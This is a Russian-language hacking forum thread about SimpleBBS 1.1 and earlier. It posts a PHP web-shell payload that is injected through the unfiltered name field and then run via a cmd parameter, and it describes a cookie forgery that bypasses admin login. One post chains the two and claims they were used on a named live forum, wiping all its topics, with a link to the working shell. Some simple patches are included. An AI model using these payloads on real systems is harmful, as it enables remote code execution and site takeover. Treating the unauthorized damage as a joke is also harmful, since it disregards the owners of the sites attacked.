• XSS.stack #1 – первый литературный журнал от юзеров форума

Web Баги SimpleBBS

Great

CPU register
Пользователь
Регистрация
13.11.2005
Сообщения
1 622
Реакции
6
PHP-Including в SimpleBBS <=1.1

Суть уязвимости
Разработчики оставили критическую дыру в форуме SimpleBBS. Суть заключается в том, что сценарий создания нового топика не фильтрует параметр name на наличие "плохих" символов. Т.к. форум все хранит в файлах, а именно: имя юзера, создавшего топик, хранится в файле data/topics.php
Подставив параметр name в виде
Код:
Willy<!--"><?php error_reporting(0);print `$_GET[cmd]`; die;?>
можно поиметь сервачок =). (думаю, ясно, что вызывать сценарий нужно так: data/topics.php?cmd=CMD).
Защита от злобных хацкеров:
замена строки 54 в файле includes/newtopic.php с
Код:
$loginname=$name;
на
Код:
$loginname=str_replace("<?", "&lt;?", $name);
Это защитит форум от тех, кого хлебом не корми, дай поиметь форум =)

Источник: SecurityLab
:zns2: Производитель
Произвел осмотр форума и создал метод защиты: Great


Добавлено в [time]1134479279[/time]
PHP-Including в SimpleBBS <=1.1
Ломалкин-ковырялкин в лице меня решил поискать еще багов в этом замечательном форуме. И представьте, нашел =)
На этот раз в постинге сообщений в тему. Все тот же параметр name. PHP-код инклуда подойдет из первой уязвимости. Только вызывать теперь надо так:
data/posts.php?cmd=CMD
Защита:
Изменить строку 54 в файле includes/addreply.php с
Код:
$name = $_POST["name"];
на
Код:
$name = str_replace("<?", "&lt;?", $_POST["name"]);
И хакеры идут лесом.
 
SimpleBBS <=1.1 Обход ограничений безопасности
Форум при авторизации записывает в плюшку (cookie) SbbCookie ник пользователя. При чем дальнейшая аутентификация осуществляется только по этому кукису. То есть, изменив его на ник админа, можно стать админом (его ник можно узнать в мембер-листе, он обычно под номером 0).

Методы защиты: нет

Обнаружил: Great
 
У меня появилась мысль, как использовать эти уязвимости вместе.
Создаем куку SbbCookie с содержимым:
Код:
Willy%3C%21--%22%3E%3C%3Fphp+error_reporting%280%29%3Bprint+%60%24_GET%5Bcmd%5D%60%3B+die%3B%3F%3E
(это закодированный код php из первого примера). Далее идем постить месагу в форум, постим какой-нить флейм и все. Скрипт послушно запишет наш ядовитый код в posts.php.
Для демонстрации произвел эти действия с http://forum.censory.com/
Правда я случайно потер все топики =), но это не страшно ;)
Эксплоит послушно работает по адресуhttp://forum.censory.com/data/topics.php?cmd=id
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх